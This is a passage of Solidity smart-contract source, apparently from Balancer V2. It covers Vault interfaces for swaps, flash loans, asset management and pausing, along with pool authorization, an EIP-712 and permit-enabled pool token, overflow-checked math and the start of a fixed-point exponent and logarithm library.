`fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be * simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result. * * Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH) * the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it * receives are the same that an equivalent `batchSwap` call would receive. * * Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct. * This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens, * approve them for the Vault, or even know a user's address. * * Note that this function is not 'view' (due to implementation details): the client code must explicitly execute * eth_call instead of eth_sendTransaction. */ function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory assetDeltas); // Flash Loans /** * @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it, * and then reverting unless the tokens plus a proportional protocol fee have been returned. * * The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount * for each token contract. `tokens` must be sorted in ascending order. * * The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the * `receiveFlashLoan` call. * * Emits `FlashLoan` events. */ function flashLoan( IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData ) external; /** * @dev Emitted for each individual flash loan performed by `flashLoan`. */ event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); // Asset Management // // Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's // tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see // `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly // controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the // prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore // not constrained to the tokens they are managing, but extends to the entire Pool's holdings. // // However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit, // for example by lending unused tokens out for interest, or using them to participate in voting protocols. // // This concept is unrelated to the IAsset interface. /** * @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates. * * Pool Balance management features batching, which means a single contract call can be used to perform multiple * operations of different kinds, with different Pools and tokens, at once. * * For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`. */ function managePoolBalance(PoolBalanceOp[] memory ops) external; struct PoolBalanceOp { PoolBalanceOpKind kind; bytes32 poolId; IERC20 token; uint256 amount; } /** * Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged. * * Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged. * * Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total. * The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss). */ enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE } /** * @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`. */ event PoolBalanceManaged( bytes32 indexed poolId, address indexed assetManager, IERC20 indexed token, int256 cashDelta, int256 managedDelta ); // Protocol Fees // // Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by // permissioned accounts. // // There are two kinds of protocol fees: // // - flash loan fees: charged on all flash loans, as a percentage of the amounts lent. // // - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including // swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather, // Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the // Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as // exiting a Pool in debt without first paying their share. /** * @dev Returns the current protocol fee module. */ function getProtocolFeesCollector() external view returns (ProtocolFeesCollector); /** * @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an * error in some part of the system. * * The Vault can only be paused during an initial time period, after which pausing is forever disabled. * * While the contract is paused, the following features are disabled: * - depositing and transferring internal balance * - transferring external balance (using the Vault's allowance) * - swaps * - joining Pools * - Asset Manager interactions * * Internal Balance can still be withdrawn, and Pools exited. */ function setPaused(bool paused) external; /** * @dev Returns the Vault's WETH instance. */ function WETH() external view returns (IWETH); // solhint-disable-previous-line func-name-mixedcase } interface IPoolSwapStructs { // This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and // IMinimalSwapInfoPool. // // This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or // 'given out') which indicates whether or not the amount sent by the pool is known. // // The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take // in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`. // // All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in // some Pools. // // `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than // one Pool. // // The meaning of `lastChangeBlock` depends on the Pool specialization: // - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total // balance. // - General: the last block in which *any* of the Pool's registered tokens changed its total balance. // // `from` is the origin address for the funds the Pool receives, and `to` is the destination address // where the Pool sends the outgoing tokens. // // `userData` is extra data provided by the caller - typically a signature from a trusted party. struct SwapRequest { IVault.SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } } /** * @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not * the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from * either IGeneralPool or IMinimalSwapInfoPool */ interface IBasePool is IPoolSwapStructs { /** * @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of * each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault. * The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect * the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`. * * Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join. * * `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account * designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances * for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as minting pool shares. */ function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts); /** * @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many * tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes * to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`, * as well as collect the reported amount in protocol fees, which the Pool should calculate based on * `protocolSwapFeePercentage`. * * Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share. * * `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account * to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token * the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as burning pool shares. */ function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts); } /** * @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be * used as an emergency switch in case a security vulnerability or threat is identified. * * The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be * unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets * system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful * analysis later determines there was a false alarm. * * If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional * Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time * to react to an emergency, even if the threat is discovered shortly before the Pause Window expires. * * Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is * irreversible. */ abstract contract TemporarilyPausable is ITemporarilyPausable { // The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy. // solhint-disable not-rely-on-time uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days; uint256 private immutable _pauseWindowEndTime; uint256 private immutable _bufferPeriodEndTime; bool private _paused; constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { _require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION); _require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION); uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration; _pauseWindowEndTime = pauseWindowEndTime; _bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration; } /** * @dev Reverts if the contract is paused. */ modifier whenNotPaused() { _ensureNotPaused(); _; } /** * @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer * Period. */ function getPausedState() external view override returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ) { paused = !_isNotPaused(); pauseWindowEndTime = _getPauseWindowEndTime(); bufferPeriodEndTime = _getBufferPeriodEndTime(); } /** * @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and * unpaused until the end of the Buffer Period. * * Once the Buffer Period expires, this function reverts unconditionally. */ function _setPaused(bool paused) internal { if (paused) { _require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED); } else { _require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED); } _paused = paused; emit PausedStateChanged(paused); } /** * @dev Reverts if the contract is paused. */ function _ensureNotPaused() internal view { _require(_isNotPaused(), Errors.PAUSED); } /** * @dev Returns true if the contract is unpaused. * * Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no * longer accessed. */ function _isNotPaused() internal view returns (bool) { // After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access. return block.timestamp > _getBufferPeriodEndTime() || !_paused; } // These getters lead to reduced bytecode size by inlining the immutable variables in a single place. function _getPauseWindowEndTime() private view returns (uint256) { return _pauseWindowEndTime; } function _getBufferPeriodEndTime() private view returns (uint256) { return _bufferPeriodEndTime; } } /** * @dev Base authorization layer implementation for Pools. * * The owner account can call some of the permissioned functions - access control of the rest is delegated to the * Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership, * granular roles, etc., could be built on top of this by making the owner a smart contract. * * Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate * control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`. */ abstract contract BasePoolAuthorization is Authentication { address private immutable _owner; address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B; constructor(address owner) { _owner = owner; } function getOwner() public view returns (address) { return _owner; } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) { // Only the owner can perform "owner only" actions, unless the owner is delegated. return msg.sender == getOwner(); } else { // Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated. return _getAuthorizer().canPerform(actionId, account, address(this)); } } function _isOwnerOnlyAction(bytes32 actionId) private view returns (bool) { // This implementation hardcodes the setSwapFeePercentage action identifier. return actionId == getActionId(BasePool.setSwapFeePercentage.selector); } function _getAuthorizer() internal view virtual returns (IAuthorizer); } /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { // Silence state mutability warning without generating bytecode. // See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and // https://github.com/ethereum/solidity/issues/2691 this; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Adapted from OpenZeppelin's SafeMath library */ library Math { /** * @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the addition of two signed integers, reverting on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; _require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; _require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW); return c; } /** * @dev Returns the largest of two numbers of 256 bits. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers of 256 bits. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _require(a == 0 || c / a == b, Errors.MUL_OVERFLOW); return c; } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); return a / b; } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { return 1 + (a - 1) / b; } } } /** * @title Highly opinionated token implementation * @author Balancer Labs * @dev * - Includes functions to increase and decrease allowance as a workaround * for the well-known issue with `approve`: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * - Allows for 'infinite allowance', where an allowance of 0xff..ff is not * decreased by calls to transferFrom * - Lets a token holder use `transferFrom` to send their own tokens, * without first setting allowance * - Emits 'Approval' events whenever allowance is changed by `transferFrom` */ contract BalancerPoolToken is IERC20, IERC20Permit, EIP712 { using Math for uint256; // State variables uint8 private constant _DECIMALS = 18; mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowance; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address => uint256) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPE_HASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); // Function declarations constructor(string memory tokenName, string memory tokenSymbol) EIP712(tokenName, "1") { _name = tokenName; _symbol = tokenSymbol; } // External functions function allowance(address owner, address spender) external view override returns (uint256) { return _allowance[owner][spender]; } function balanceOf(address account) external view override returns (uint256) { return _balance[account]; } function approve(address spender, uint256 amount) external override returns (bool) { _setAllowance(msg.sender, spender, amount); return true; } function increaseApproval(address spender, uint256 amount) external returns (bool) { _setAllowance(msg.sender, spender, _allowance[msg.sender][spender].add(amount)); return true; } function decreaseApproval(address spender, uint256 amount) external returns (bool) { uint256 currentAllowance = _allowance[msg.sender][spender]; if (amount >= currentAllowance) { _setAllowance(msg.sender, spender, 0); } else { _setAllowance(msg.sender, spender, currentAllowance.sub(amount)); } return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { _move(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { uint256 currentAllowance = _allowance[sender][msg.sender]; _require(msg.sender == sender || currentAllowance >= amount, Errors.INSUFFICIENT_ALLOWANCE); _move(sender, recipient, amount); if (msg.sender != sender && currentAllowance != uint256(-1)) { // Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount _setAllowance(sender, msg.sender, currentAllowance - amount); } return true; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { // solhint-disable-next-line not-rely-on-time _require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT); uint256 nonce = _nonces[owner]; bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPE_HASH, owner, spender, value, nonce, deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ecrecover(hash, v, r, s); _require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE); _nonces[owner] = nonce + 1; _setAllowance(owner, spender, value); } // Public functions function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _DECIMALS; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function nonces(address owner) external view override returns (uint256) { return _nonces[owner]; } // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } // Internal functions function _mintPoolTokens(address recipient, uint256 amount) internal { _balance[recipient] = _balance[recipient].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), recipient, amount); } function _burnPoolTokens(address sender, uint256 amount) internal { uint256 currentBalance = _balance[sender]; _require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE); _balance[sender] = currentBalance - amount; _totalSupply = _totalSupply.sub(amount); emit Transfer(sender, address(0), amount); } function _move( address sender, address recipient, uint256 amount ) internal { uint256 currentBalance = _balance[sender]; _require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE); // Prohibit transfers to the zero address to avoid confusion with the // Transfer event emitted by `_burnPoolTokens` _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _balance[sender] = currentBalance - amount; _balance[recipient] = _balance[recipient].add(amount); emit Transfer(sender, recipient, amount); } // Private functions function _setAllowance( address owner, address spender, uint256 amount ) private { _allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } } /* solhint-disable */ /** * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument). * * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural * exponentiation and logarithm (where the base is Euler's number). * * @author Fernando Martinelli - @fernandomartinelli * @author Sergio Yuhjtman - @sergioyuhjtman * @author Daniel Fernandez - @dmf7z */ library LogExpMath { // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying // two numbers, and multiply by ONE when dividing them. // All arguments and return values are 18 decimal fixed point numbers. int256 constant ONE_18 = 1e18; // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the // case of ln36, 36 decimals. int256 constant ONE_20 = 1e20; int256 constant ONE_36 = 1e36; // The domain of natural exponentiation is bound by the word size and number of decimals used. // // Because internally the result will be stored using 20 decimals, the largest possible result is // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221. // The smallest possible result is 10^(-18), which makes largest negative argument // ln(10^(-18)) = -41.446531673892822312. // We use 130.0 and -41.0 to have some safety margin. int256 constant MAX_NATURAL_EXPONENT = 130e18; int256 constant MIN_NATURAL_EXPONENT = -41e18; // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point // 256 bit integer. int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17; int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17; uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20); // 18 decimal constants int256 constant x0 = 128000000000000000000; // 2ˆ7 int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals) int256 constant x1 = 64000000000000000000; // 2ˆ6 int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals) // 20 decimal constants int256 constant x2 = 3200000000000000000000; // 2ˆ5 int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2) int256 constant x3 = 1600000000000000000000; // 2ˆ4 int256 constant a3 = 888611052050787263676000000; // eˆ(x3) int256 constant x4 = 800000000000000000000; // 2ˆ3 int256 constant a4 = 298095798704172827474000; // eˆ(x4) int256 constant x5 = 400000000000000000000; // 2ˆ2 int256 constant a5 = 5459815003314423907810; // eˆ(x5) int256 constant x6 = 200000000000000000000; // 2ˆ1 int256 constant a6 = 738905609893065022723; // eˆ(x6) int256 constant x7 = 100000000000000000000; // 2ˆ0 int256 constant a7 = 271828182845904523536; // eˆ(x7) int256 constant x8 = 50000000000000000000; // 2ˆ-1 int256 constant a8 = 164872127070012814685; // eˆ(x8) int256 constant x9 = 25000000000000000000; // 2ˆ-2 int256 constant a9 = 128402541668774148407; // eˆ(x9) int256 constant x10 = 12500000000000000000; // 2ˆ-3 int256 constant a10 = 113314845306682631683; // eˆ(x10) int256 constant x11 = 6250000000000000000; // 2ˆ-4 int256 constant a11 = 106449445891785942956; // eˆ(x11) /** * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent. * * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`. */ function pow(uint256 x, uint256 y) internal pure returns (uint256) { if (y == 0) { // We solve the 0^0 indetermination by making it equal one. return uint256(ONE_18); } if (x == 0) { return 0; } // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to // arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means // x^y = exp(y * ln(x)). // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range. _require(x < 2**255, Errors.X_OUT_OF_BOUNDS); int256 x_int256 = int256(x); // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end. // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range. _require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS); int256 y_int256 = int256(y); int256 logx_times_y; if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) { int256 ln_36_x = _ln_36(x_int256); // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the // (downscaled) last 18 decimals. logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18); } else { logx_times_y = _ln(x_int256) * y_int256; } logx_times_y /= ONE_18; // Finally, we compute exp(y * ln(x)) to arrive at x^y _require( MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT, Errors.PRODUCT_OUT_OF_BOUNDS ); return uint256(exp(logx_times_y)); } /** * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent. * * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`. */ function exp(int256 x) internal pure returns (int256) { _require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT); if (x < 0) { // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT). // Fixed point division requires multiplying by ONE_18. return ((ONE_18 * ONE_18) / exp(-x)); } // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n, // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7 // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the // decomposition. // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this // decomposition, which will be lower than the smallest x_n. // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1. // We mutate x by subtracting x_n, making it the remainder of the decomposition. // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause // intermediate overflows. Instead we store them as plain integers, with 0 decimals. // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the // decomposition. // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct // it and compute the accumulated product. int256 firstAN; if (x >= x0) { x -= x0; firstAN = a0; } else if (x >= x1) { x -= x1; firstAN = a1; } else { firstAN = 1; // One with no decimal places } // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the // smaller terms. x *= 100; // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point // one. Recall that fixed point multiplication requires dividing by ONE_20. int256 product = ONE_20; if (x >= x2) { x -= x2; product = (product * a2) / ONE_20; } if (x >= x3) { x -= x3; product = (product * a3) / ONE_20; } if (x >= x4) { x -= x4; product = (product * a4) / ONE_20; } if (x >= x5) { x -= x5; product = (product * a5) / ONE_20; } if (x >= x6) { x -= x6; product = (product * a6) / ONE_20; } if (x >= x7) { x -= x7; product = (product * a7) / ONE_20; } if (x >= x8) { x -= x8; product = (product * a8) / ONE_20; } if (x >= x9) { x -= x9; product = (product * a9) / ONE_20; } // x10 and x11 are unnecessary here since we have high enough precision already. // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!). int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places. int256 term; // Each term in the sum, 